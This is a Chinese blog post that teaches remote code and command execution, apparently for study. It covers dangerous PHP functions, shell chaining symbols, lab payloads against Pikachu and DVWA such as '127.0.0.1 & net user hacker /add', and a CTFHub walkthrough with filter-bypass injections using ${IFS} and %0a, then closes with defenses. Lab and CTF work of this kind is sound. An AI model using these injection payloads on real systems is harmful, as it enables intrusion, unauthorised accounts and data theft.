首页 > 其他分享 >远程代码执行

远程代码执行

时间:2024-03-23 16:46:30浏览次数:26  
标签:127.0 0.1 远程 命令 flag 代码执行 执行 payload

远程代码执行

一、什么是远程代码执行?

远程代码执行 Remote Code Execute 远程命令执行 Remote Command Execute 由于程序中预留了执行代码或者命令的接口,并 且提供了给用户使用的界面,导致被黑客利用, 控制服务器。 为什么要执行代码? 网络设备的web管理界面 自动化运维系统 漏洞危害 1、获取服务器权限 2、获取敏感数据文件 3、写入恶意文件getshell 4、植入木马病毒勒索软件等 实际漏洞 CVE-2021-3177 Python RCE漏洞 CVE-2021-21972 VMWare RCE漏洞 CVE-2021-25646 Apache Druid RCE漏洞 CNVD-2020-46552 深信服EDR CNVD-2021-30101 网康下一代防火墙 http://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=RCE

二、PHP-RCE涉及函数

代码注入 eval() 把字符串 code 作为PHP代码执行 assert() 检查一个断言是否为 false preg_replace() 执行一个正则表达式的搜索和替换 create_function() 创建一个匿名函数并且返回函数名创 call_user_func()/call_user_func_array() 把第一个参数作为回调函数调用 usort()/uasort() 使用用户自定义的比较函数对数组中的值进行排 序并保持索引关联 命令注入/执行 system() 执行外部程序,并且显示输出 exec()/shell_exec() 通过 shell 环境执行命令,并且将完整的输出以 字符串的方式返回 pcntl_exec() 在当前进程空间执行指定程序 passthru() 执行外部程序并且显示原始输出 popen() 打开进程文件指针 proc_open() 执行一个命令,并且打开用来输入/输出的文件

三、靶场案例

基础知识

Windows命令拼接符号

&& 左边的命令执行成功,右边的才执行 ping 127.0.0.1 && echo 'hello'

& 简单的拼接 ping 1111 & echo 'hello'

| 上一条命令的输出,作为下一条命令参数 netstat -ano |findstr 3306

|| 左边的命令执行失败,右边的才执行 ping baidu.com || ping baidu.net

Linux命令拼接符号

; 没有任何逻辑关系的连接符

&& 左边的命令执行成功,右边的才执行 cp 1.txt 2.txt && cat 2.txt

| 上一条命令的输出,作为下一条命令参数 netstat -an|grep 3306

|| 左边的命令执行失败,右边的才执行 cat 3.txt || cat 2.txt

& 任务后台执行,与nohup命令功能差不多 java -jar test.jar > log.txt &

piakchu ping 正常 127.0.0.1 www.baidu.com payload 127.0.0.1 & ipconfig 127.0.0.1 & whoami eval payload phpinfo(); POST请求,参数为txt,可以用中国蚁剑连接 DVWA low 正常 127.0.0.1 payload 127.0.0.1 & ipconfig 127.0.0.1 & net user hacker /add

四、CTF题目

ctfhub-Web-RCE eval执行 中国蚁剑连接 密码cmd cd / ls / cat flag_4505 命令注入 代码审计 payload 127.0.0.1;ls payload 127.0.0.1;cat 308563028813712.php | base64 base64解密得到flag 过滤CAT payload 127.0.0.1;ls payload 127.0.0.1;less 308563028813712.php | base64 base64解密得到flag 其他命令 cat 由第一行开始显示内容,并将所有内容输出 tac 从最后一行倒序显示内容,并将所有内容输 出 more 根据窗口大小,一页一页的现实文件内容 less 和more类似,但其优点可以往前翻页,而且 进行可以搜索字符 head 只显示头几行 tail 只显示最后几行 nl 类似于cat -n,显示时输出行号 tailf 类似于tail -f 过滤空格 payload 127.0.0.1;ls payload 127.0.0.1;cat${IFS}flag_2559114064936.php 右键查看源码得到flag 其他 使用IFS$9、%09、<、>、<>、{,}、%20、${ IFS}、${IFS}来代替空格 过滤目录分隔符 payload 127.0.0.1;ls payload 127.0.0.1&ls flag_is_here payload 127.0.0.1&cd flag_is_here;cat flag_ 133752248118633.php 使用;或者%0a代替目录分隔符/ 过滤运算符 payload 127.0.0.1;ls payload 127.0.0.1; base64 flag_3969293319629.php base64解密得到flag 综合题 在URL中输入 127.0.0.1%0acd${IFS}f_is_here${IFS}%0als payload 127.0.0.1%0acd${IFS}f_is_here${IFS}% 0amore${IFS}f***_61177426640.php 右键查看源码得到flag

五、漏洞防御

1、开源框架,升级到最新版本 2、尽量不要使用命令执行的函数 3、如果必须使用,需要做白名单处理 4、用正则表达式对用户输入的内容进行处理 5、使用WAF

标签:127.0,0.1,远程,命令,flag,代码执行,执行,payload
From: https://www.cnblogs.com/IconC/p/18091278

相关文章

  • 基于ssm的风景文化管理平台,旅游信息管理系统,附源码+数据库+论文+PPT,包远程安装调试
    1、项目介绍根据木里风景文化管理平台的功能需求,进行系统设计。前台功能:用户进入系统可以实现首页,旅游公告,景区,景区商品,景区美食,旅游交通工具,红黑榜,个人中心,后台管理,购物车等进行操作;后台主要是管理员,管理员功能包括首页,个人中心,用户管理,旅游公告管理,景区管理,景区商品管理,门......
  • 基于ssm的农业信息管理系统,农资信息管理系统,附源码+数据库+论文+PPT,包远程安装调试
    1、项目介绍考虑到实际生活中在农业信息管理方面的需要以及对该系统认真的分析,将系统权限按管理员,种植户和用户这三类涉及用户划分。(1)管理员功能需求管理员登陆后,主要模块包括首页,个人中心,用户管理,种植户管理,农业技术管理,农产品类型管理,农资类型管理,农资产品管理,农产品管理,......
  • 【包远程安装运行】SpringBoot+Mysql实现的共享厨房平台+演示视频+开发文档(论文模板)
    今天发布的是由【猿来入此】的优秀学员独立做的一个基于springboot脚手架的共享厨房平台系统,该系统可以实现线上提前预约,线下使用。利用支付宝沙箱来作为支付方式,使该系统更切合实际的表现出实体店线下共享厨房的流程。该系统分为前台和后台。主要实现了除脚手架功能以外下......
  • 【包远程安装运行】SpringBoot+Mysql实现的美食分享菜谱制作平台+演示视频+开发文档(
    今天发布的是由【猿来入此】的优秀学员独立做的一个基于springboot脚手架的美食分享菜谱制作平台系统,该系统分为前台和后台,多用户分享平台。主要实现了除脚手架功能以外下面是系统的功能:前台普通用户:注册、登录、首页、美食家列表、菜谱列表、社区论坛、资讯列表、个人中......
  • C.S远程指令控制
    C.S远程指令控制一.模型结构​​客户端:客户端首先创建一个套接字,该套接字绑定的是目标IP和端口,在调用connect函数的时候将自己的IP和端口发送给服务器。服务端:服务端首先创建一个套接字,该套接字和自身IP以及端口绑定,在调用accept函数的时候,从缓冲区将客户端的IP和端口提取......
  • 关于使用向日葵等远程软件,关闭主机显示器后远程画面缩小的解决办法
    【方法一】修改分辨率直接在桌面上,右键【显示设置】>>>【显示器分辨率】>>>改成更大的分辨率即可。(当然这个方法的前提是:修改分辨率的选项是可选的而不是灰色的,并且你的鼠标可以下拉并点击到修改分辨率的选择框)【方法二】修改注册表1.打开主机和显示器,在桌面上右键>>>显示设置>>......
  • 如何设置IDEA远程连接服务器开发环境并结合cpolar实现ssh远程开发
    文章目录1.检查LinuxSSH服务2.本地连接测试3.Linux安装Cpolar4.创建远程连接公网地址5.公网远程连接测试6.固定连接公网地址7.固定地址连接测试本文主要介绍如何在IDEA中设置远程连接服务器开发环境,并结合Cpolar内网穿透工具实现无公网远程连接,然后实现远程......
  • MySQL下载安装与提供远程连接
    一、windowsmysql安装1、安装到 C:\mysql-8.0.31-winx642、根目录下添加配置文件my.ini[client]default-character-set=utf8mb4[mysql]default-character-set=utf8mb4[mysqld]port=3306default-time-zone='+08:00'basedir=C:\mysql-8.0.31-winx64datadir=C:\m......
  • window远程开机
    window电脑操作:Win10系统设置都在"控制面板"和"设置"里设置: 1.控制面板->系统和安全->电源选项->左侧选择电源按钮的功能->关机设置取消勾选“启用快速启动(推荐)”。 2.控制面板->系统和安全->管理工具->计算机管理->设备管理器点开右侧的网络适配器:双击......
  • 安科瑞智能断路器产品介绍【可监可控 远程操控 短路保护】
    开发背景过去几年智慧用电的产品应用中,大多数只安装于进线测。主要存在以下几个问题:难定位,不知道具体哪个回路出线问题,排查困难;出线过载或线缆温度过高无法知晓;即使是出线回路安装了的场景,因后端多数是微断,回路多,而且空间有限,导致安装困难,或者重新加箱子增加成本。接线繁多(电......